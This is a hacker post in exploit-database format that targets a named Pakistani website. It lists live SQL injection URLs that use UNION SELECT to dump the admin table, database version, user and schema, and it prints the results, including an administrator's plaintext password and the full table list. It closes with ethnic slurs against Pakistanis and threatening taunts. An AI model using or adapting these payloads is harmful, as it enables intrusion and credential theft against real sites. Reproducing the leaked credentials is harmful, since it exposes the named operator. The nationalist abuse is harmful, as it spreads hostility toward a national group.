www.communicat.pk live sql injection 4 INDIAN HACKERS

  ____            __   _  _           _____
 |  _ \    ___   / _| | || |    ____ |___ /   _ __
 | | | |  / _ \ | |_  | || |_  |_  /   |_ \  | '__|
 | |_| | |  __/ |  _| |__   _|  / /   ___) | | |
 |____/   \___| |_|      |_|   /___| |____/  |_|
_---------------------------------------------------------------_
 ---------------------------------------------------------------

# Exploit Title : www.communicat.pk live sql injection 4 INDIAN HACKERS
# Google Dork   : Porkistan FUCKED !
# Date          : I WILL EXPLAIN LATER
# Author        : Def4z3r
# VulnerableLINK: http://www.communicat.pk/web/operators_charges.php?id='3
# Version       : NEW GENERATION BOYZ 2012
# Tested on     : HACKERS TRACK
# CVE           : NO EXISTS


     _       _           _       _     _             _
    / \   __| |_ __ ___ (_)_ __ (_)___| |_ _ __ __ _| |_ ___  _ __
   / _ \ / _` | '_ ` _ \| | '_ \| / __| __| '__/ _` | __/ _ \| '__|
  / ___ \ (_| | | | | | | | | | | \__ \ |_| | | (_| | |_ (_) | |
 /_/   \_\__,_|_| |_| |_|_|_| |_|_|___/\__|_|  \__,_|\__\___/|_|
------------------------------------------------------------------------


http://www.communicat.pk/web/operators_charges.php?id=-3 union all select 1,concat(code_name,0x3c703e,password,0x3c703e,id,0x3c703e,email,0x3c703e,brief,0x3c703e,description),3,4,5,6,7,8,9,10,11 from admins--
-------------------------------------------------------------------------------------------------------------

Code_name   : COOL CAT
(user name)
Password    : ALLAHISGREAT

Id          : 1

Email       : [email protected]

Brief       : COOL CAT IS THE CHIEF EDITOR FOR COMMUNICAT AND IS ONE OF THE FOUNDING MEMBERS OF THIS ORGANIZATION.

Description : COOL CAT IS THE CHIEF EDITOR FOR COMMUNICAT AND IS ONE OF THE FOUNDING MEMBERS OF THIS ORGANIZATION. COMMUNICAT IS THE BRAIN CHILD OF COOL-CAT AND HE
             IS CONCURRENTLY WORKING ON VARIOUS INTERESTING PROJECTS LIKE THESE AT THE SAME TIME.


     _    _                 _     _   _           _
    / \  | |__   ___  _   _| |_  | | | | ___  ___| |_
   / _ \ | '_ \ / _ \| | | | __| | |_| |/ _ \/ __| __|
  / ___ \| |_) | (_) | |_| | |_  |  _  | (_) \__ \ |_
 /_/   \_\_.__/ \___/ \__,_|\__| |_| |_|\___/|___/\__|
-------------------------------------------------------------

http://www.communicat.pk/web/operators_charges.php?id=-3 union all select 1,concat(version(),0x3c703e,user(),0x3c703e,database()),3,4,5,6,7,8,9,10,11--
-------------------------------------------------------------------------------------------------------------
Version  : 5.0.92-COMMUNITY-LOG

User     : COMMUNI1_CAT@LOCALHOST

Database : COMMUNI1_CAT

  ____       _                            _   _
 / ___|  ___| |__   ___ _ __ ___   __ _  | \ | | __ _ _ __ ___   ___
 \___ \ / __| '_ \ / _ \ '_ ` _ \ / _` | |  \| |/ _` | '_ ` _ \ / _ \
  ___) | (__| | | |  __/ | | | | | (_| | | |\  | (_| | | | | | |  __/
 |____/ \___|_| |_|\___|_| |_| |_|\__,_| |_| \_|\__,_|_| |_| |_|\___|
---------------------------------------------------------------------------


http://www.communicat.pk/web/operators_charges.php?id=-3 union all select 1,schema_name,3,4,5,6,7,8,9,10,11 from information_schema.schemata--
-------------------------------------------------------------------------------------------------------------
schema_name : INFORMATION_SCHEMA


  _____     _     _        _   _                         ____      _
 |_   _|_ _| |__ | | ___  | \ | | __ _ _ __ ___   ___   / ___|___ | |_   _ _ __ ___  _ __  ___
   | |/ _` | '_ \| |/ _ \ |  \| |/ _` | '_ ` _ \ / _ \ | |   / _ \| | | | | '_ ` _ \| '_ \/ __|
   | | (_| | |_) | |  __/ | |\  | (_| | | | | | |  __/ | |___ (_) | | |_| | | | | | | | | \__ \
   |_|\__,_|_.__/|_|\___| |_| \_|\__,_|_| |_| |_|\___|  \____\___/|_|\__,_|_| |_| |_|_| |_|___/
-----------------------------------------------------------------------------------------------------

http://www.communicat.pk/web/operators_charges.php?id=-3 union all select 1,group_concat(0x3c503e,column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_schema=database()--

Column_name From Database
--------------------------

ID,

EMAIL,

CODE_NAME,

PASSWORD,

ADMIN_LEVEL,

BRIEF,

DESCRIPTION,

ARTICLE_ID,

CATEGORY_ID,

ID,

ARTICLE_CATEGORY,

DESCRIPTION,

ID,

ARTICLE_ID,

USER_ID,

TIME_STAMP,

DATE_STAMP,

IP_ADDRESS,

COMMENT,

ID,

ARTICLE_TYPE,

DESCRIPTION,

ID,

ARTICLE_TYPE_ID,

SHOW_ARTICLE,

ARTICLE_IMAGE,

ARTICLE_NA


Table Name
----------
ringtone_commen
ringtone_categories
phones
phone_software_type
phone_ringtone_type
phone_ratings
phone_prices
phone_ourprice
phone_images
phone_graphics_type
phone_comments
page_counter
operators
operator_services
operator_offices
operator_connections
operator_comments
operator_available_numbers
operator_available_cards
news_comments
news_categories
news
markets
market_shops
market_shop_type
market_services
market_management
market_comments
manufacturer_comments
manufacturer
links_categories
links
invoices
graphics
graphic_types
graphic_graphic_type
graphic_graphic_category
graphic_comments
graphic_categories
forsale_items_questions
forsale_items_bids
forsale_items
forsale_item_category
faq_categories
faq
discussionforum_topics
discussionforum_posts
discussionforum_categories
devices
device_types
device_ratings
device_prices
device_ourprice
device_images
device_device_type
device_comments
companies_jobs
companies
cities
articles
article_types
article_comments
article_categories
article_article_category
admins
-----------------
Columns+
description
brief
admin_level
password
code_name
email
id

  __  __             _          ____            _    _     _
 |  \/  |___  __ _  | |_ ___   |  _ \ ___  _ __| | ___)___| |_ __ _ _ __
 | |\/| / __|/ _` | | __/ _ \  | |_) / _ \| '__| |/ / / __| __/ _` | '_ \
 | |  | \__ \ (_| | | |_ (_) | |  __/ (_) | |  |   <| \__ \ |_ (_| | | | |
 |_|  |_|___/\__, |  \__\___/  |_|   \___/|_|  |_|\_\_|___/\__\__,_|_| |_|
             |___/
----------------------------------------------------------------------------------
"I said...",
"1000 of times..",
"The f4ckistan f4ckers never heard ! ",
"Them Destroyed my dreams",
"In a blink of an eye",
"I WARN YOU",
"DON'T TOUCH ANY INDIAN HACKER",
"DON'T CROSS OUR LINES",
"DON'T DO IT AGAIN",
"-=By Def4z3r=-"